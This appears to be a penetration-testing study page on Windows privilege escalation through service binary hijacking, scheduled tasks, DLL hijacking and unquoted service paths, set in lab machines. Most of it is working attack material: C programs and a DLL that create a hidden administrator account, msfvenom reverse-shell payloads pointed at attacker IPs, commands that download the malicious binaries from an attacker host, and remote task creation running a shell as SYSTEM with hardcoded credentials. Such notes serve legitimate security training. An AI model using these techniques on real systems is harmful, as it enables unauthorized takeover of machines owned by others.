Services
A Windows service is a background process managed by the Service Control Manager. Services can be controlled using services snap-in (services.msc), PowerShell, or sc.exe (command-line tool). They typically run under specific built-in accounts but can be also run under custom user accounts, such as local or domain users:
LocalSystem: High privileges (includes
SYSTEMandAdministratorSIDs)Network Service: Limited privileges with network access
Local Service: Limited privileges without network access
Binary Hijacking
For automated Service Binary Hijacking see
PowerUp.
Every Windows service has an associated binary that runs when the service starts, and if its permissions are misconfigured, a low-privileged user may be able to replace it with a malicious file. For example, a developer might install a service but fail to properly restrict access, allowing any user to modify the binary. An attacker could exploit this by replacing the binary with their own payload, and then triggering its execution by restarting the service or rebooting the system—causing the malicious code to run with elevated privileges such as LocalSystem.
To list Windows services and their binaries we can use the GUI app
services.msc, or theGet-ServiceandGet-CimInstancecmdlets.
# Filter running services and their executable paths
> Get-CimInstance -ClassName win32_service | Select Name, State, PathName | Where-Object { $_.State -eq "Running" }
Name State PathName
---- ----- --------
Apache2.4 Running "C:\xampp\apache\bin\httpd.exe" -k runservice
Appinfo Running C:\Windows\system32\svchost.exe -k netsvcs -p
AppXSvc Running C:\Windows\system32\svchost.exe -k wsappx -p
mysql Running C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysqlNetwork logons (e.g., WinRM, bind shells) may fail when querying services as a non-admin user, while interactive logins (e.g., RDP) work without permission issues.
From the list above, the binaries located in the C:\xampp instead of the C:\Windows\System32 directory (apache2.4 and mysql) stand out because this means that these services are user-installed and are, therefore, susceptible to permission misconfigurations. We can enumerate their permissions using icacls or Get-ACL .
F
Full Access
M
Modify Access
RX
Read & Execute
R
Read-only
W
Write-ony
# Check the binary's permissions
> icacls "C:\xampp\mysql\bin\mysqld.exe"
C:\xampp\mysql\bin\mysqld.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
BUILTIN\Users:(F)
Successfully processed 1 files; Failed processing 0 filesWe will create a malicious binary to replace the original mysqld.exe.
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}$ x86_64-w64-mingw32-gcc addUser.c -o addUser.exe# Transfer the malicious binary to the target
iwr -uri http://192.168.45.231/addUser.exe -Outfile mysqld.exe# Backup the original binary
> move C:\xampp\mysql\bin\mysqld.exe mysqld.exe
# Replace the original binary
> move .\addUser.exe C:\xampp\mysql\bin\mysqld.exeWe can stop and then start the service:
# Check the service's status
> Get-Service -Name 'mysql'
Status Name DisplayName
------ ---- -----------
Running mysql mysql
# Stop the service
> net stop mysql
> Stop-Service -Name 'mysql' -Force
# Start the service
> Start-Service -Name 'mysql'Or restart it in one step (sometimes one approach might work while the other not):
# Restart the service directly
> Restart-Service -Name 'mysql' -ForceIf the user does not have to restart the service but has the SeShutDownPrivilege assigned and the StartMode of the service is set to Auto, we can just reboot the system.
> net stop mysql
System error 5 has occurred.
Access is denied.> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
Name StartMode
---- ---------
mysql Auto# The Disabled state only indicates if the privilege is currently enabled for the running process.
> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeSecurityPrivilege Manage auditing and security log Disabled
SeShutdownPrivilege Shut down the system Disabled
<SNIP># 'r' -> reboot, 't 0' -> in zero seconds
> shutdown /r /t 0 To restore the original state of the service, we have to delete our binary
mysqld.exe, restore the backed up original binary, and restart the system.
We can also get a reverse shell by replacing the binary with the following.
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.231 LPORT=4444 -f exe > mysqld.exeScheduled Tasks
Windows uses Task Scheduler to run automated jobs, known as Scheduled Tasks, based on defined triggers (e.g., at startup, login, or a specific time). Each task has one or more actions—scripts or programs to execute—configured under its properties. For privilege escalation, the focus is on three key details:
User context: Does the task run as
SYSTEMor anadministrator?Triggers: When does it run? Is the condition re-usable within the testing window?
Actions: What program or script runs?
# /fo LIST -> format as list, /v -> display all properties (verbose)
> schtasks /query /fo LIST /v
HostName: CLIENTWK220
TaskName: \Microsoft\CacheCleanup
Next Run Time: 4/7/2025 12:09:21 AM
Status: Ready
Logon Mode: Interactive/Background
Author: CLIENTWK220\daveadmin
Task To Run: C:\Users\steve\Pictures\BackendCacheCleanup.exe # Target binary
Start In: C:\Users\steve\Pictures
Scheduled Task State: Enabled
Run As User: daveadmin # Target user
Schedule Type: One Time Only, Minute
Start Time: 7:37:21 AM
Start Date: 7/4/2022
Repeat: Every: 0 Hour(s), 1 Minute(s) # Runs every minute
# Alternative
> Get-ScheduledTask
# Check the binary's persmissions
> icacls BackendCacheCleanup.exe
BackendCacheCleanup.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
CLIENTWK220\steve:(I)(F)# Created a revershe shell payload
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.49.117 LPORT=80 -f exe -o revshell.exe# Backup the original binary
move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.back
# Download the malicious binary
iwr http://192.168.45.226/revshell.exe -outfile BackendCacheCleanup.exeScheduled tasks can also be leveraged to get a reverse shell as SYSTEM:
# Create a credential object
$pw = ConvertTo-SecureString "Passw0rd123!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("Administrator", $pw)
# Create a new scheduled task
Invoke-Command -Computer dc01 -ScriptBlock { schtasks /create /sc onstart /tn shell /tr C:\inetpub\wwwroot\shell.exe /ru SYSTEM } -Credential $creds
# Execute the scheduled task
Invoke-Command -Computer dc01 -ScriptBlock { schtasks /run /tn shell } -Credential $credsDLL Hijacking
If binary service hijacking isn't possible due to permission restrictions, DLL hijacking, a more stealthier method, can be used. DLLs are essential components that provide shared functionality to Windows programs. By replacing a DLL that a service depends on, malicious code can be injected while maintaining the service's functionality.
DLLs are called Shared Objects on Unix.
When a program needs a DLL, Windows follows a predefined search order to locate it. To improve security, Microsoft introduced safe DLL search mode, which prioritizes system directories to prevent unauthorized DLL loading. The standard search order is:
1. The directory from which the application loaded.
2. The System directory.
3. The 16-bit System directory.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.However, if a program looks for a missing DLL (due to installation issues or updates), a malicious DLL can be placed with the same name in a directory higher in the search order, a technique known as DLL search order hijacking.
# List available services
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
displayname
-----------
FileZilla 3.63.1
<SNIP>Filezilla 3.63.1 has a DLL hijacking vulnerability related to the TextShaping.dll file. We first need to check if we have write access to the DLL's location.
# Write a file to the binary's directory
> echo "test" > 'C:\FileZilla\FileZilla FTP Client\test.txt'
# List the file's contents
> type 'C:\FileZilla\FileZilla FTP Client\test.txt'
testThe typical process of checking which DLLs are used by an application is via the Process Monitor tool, aka as procmon. Once we have a list of DLLs used by the service binary, we can check their permissions and if they can be replaced with a malicious DLL.
To start the Process Monitor we need elevated privileges. If we don't, we can copy the service binary to a local machine instead.

After filtering the results, we can click Clear (red bin icon) and start the process we are interested in. Since we are interested specifically in the TextShaping.dll we can create another filter targeting that.

Based on the above screenshot, the binary tries to load the TextShaping.dll from C:\Filezilla\Filezilla FTP Client\ and it can't find it. It then proceeds to search and find it from C:\Windows\System32\.
Each DLL can have an optional entry point function named DllMain, which is executed when processes or threads attach the DLL. This function generally contains four cases named:
DLL_PROCESS_ATTACHDLL_THREAD_ATTACHDLL_THREAD_DETACHDLL_PROCESS_DETACH
These cases handle situations when the DLL is loaded or unloaded by a process or thread. They are commonly used to perform initialization tasks for the DLL or tasks related to exiting the DLL. If a DLL doesn't have a DllMain entry point function, it only provides resources. We are interested in the DLL_PROCESS_ATTACH section of the code, since this is used when a process is loading the DLL.
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user dave3 password123! /add");
i = system ("net localgroup administrators dave3 /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}# Cross-compile the script on the attacking machine
$ x86_64-w64-mingw32-gcc dll_hijacking.cpp --shared -o TextShaping.dll# Transfer the malicious DLL to the target host
iwr -uri http://192.168.45.236/TextShaping.dll -OutFile 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'In order for the DLL hijacking to trigger the FileZilla FTP Client needs to be started, however, it is important to keep in mind that the privileges the DLL will run with depend on the privileges used to start the application. If we were to start the FTP client as a low-privileged user, then we would not have the required privileges for our payload to work, i.e., to add a new user to the system and place them in the Administrators group.
Some binaries need to be started as a service in order to function properly:
# Create a new service pointing to the binary
sc.exe create "Filezilla" binpath= "C:\Users\x7331\Desktop\filezilla.exe"
# Restart the service
Restart-Service FilezillaWe can also try changing directly the service's configuration:
# Test if the user can start the process
> Start-Process sc.exe -ArgumentList 'qc IObitUnSvr' -NoNewWindow -Wait
# Point the service to a malicious binary
> Start-Process sc.exe -ArgumentList 'config IObitUnSvr binPath= "C:\Users\dharding\reverse.exe"' -NoNewWindow -Wait
# Restart the service
> Restart-Service IObitUnSvrUnquoted Service Paths
For automated enumeration and exploitation of this vector, see here.
Each Windows service maps to an executable file.
When a service starts, a process is created via the
CreateProcessfunction.The first parameter of this function,
IpApplicationName, specifies the name and, optionally, the executable path. If the latter is an unquoted string that contains spaces, it can be used as a privilege escalation vector due to how Windows interprets the path.
For example, C:\Program Files\My Program\My Service\service.exe will be interpreted as:
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exeWe can exploit this by creating a malicious executable in any of the paths before the original one. This will result in the former executing with the same privileges that the service starts with, typically, LocalSystem.
Enumerate the service:
> Get-CimInstance -ClassName win32_service | Select Name,State,PathName
Name State PathName
---- ----- --------
...
GammaService Stopped C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
...
# A more efficient cmd alternative
# /i -> case insensitive
# /v -> don't match (outside the Windows dir for permission issues and without quotes)
C:\Users\steve> wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """Check service's details, such as the Run As User: field:
# Check service's details (Run As User:)
> schtasks /query /TN "Uninstaller_SkipUac_dharding" /V /FO LISTPS C:\Users\steve> Start-Service GammaService
WARNING: Waiting for service 'GammaService (GammaService)' to start...
PS C:\Users\steve> Stop-Service GammaServiceC:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exePS C:\Users\steve> icacls "C:\"
<SNIP>
BUILTIN\Users:(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(M)
NT AUTHORITY\Authenticated Users:(AD)
<SNIP>
PS C:\Users\steve>icacls "C:\Program Files"
<SNIP>
BUILTIN\Users:(RX)
BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
<SNIP>
PS C:\Users\steve> icacls "C:\Program Files\Enterprise Apps"
<SNIP>
BUILTIN\Users:(OI)(CI)(RX,W) # Write permissions!
<SNIP>#include <stdlib.h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}# cross-compile the script on the attacking machine
$ x86_64-w64-mingw32-gcc Current.c --shared -o Current.exe> iwr -uri http://192.168.45.235/Current.exe -OutFile 'C:\Program Files\Enterprise Apps\Current.exe'PS C:\Users\steve> Start-Service GammaService
Start-Service : Service 'GammaService (GammaService)' cannot be started due to the following
error: Cannot start service GammaService on computer '.'.
At line:1 char:1
+ Start-Service GammaService
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (System.ServiceProcess.ServiceController:ServiceControl
ler) [Start-Service], ServiceCommandException
+ FullyQualifiedErrorId : CouldNotStartService,Microsoft.PowerShell.Commands.StartServiceCom
mandPS C:\Users\steve> net user
User accounts for \\CLIENTWK220
-------------------------------------------------------------------------------
Administrator BackupAdmin dave
dave2 # user created!
<SNIP>
PS C:\Users\steve> Get-LocalGroupMember administrators
ObjectClass Name PrincipalSource
----------- ---- ---------------
User CLIENTWK220\Administrator Local
User CLIENTWK220\BackupAdmin Local
User CLIENTWK220\dave2 Local # user added to the admin's group!
User CLIENTWK220\daveadmin Local
User CLIENTWK220\offsec LocalLast updated
Was this helpful?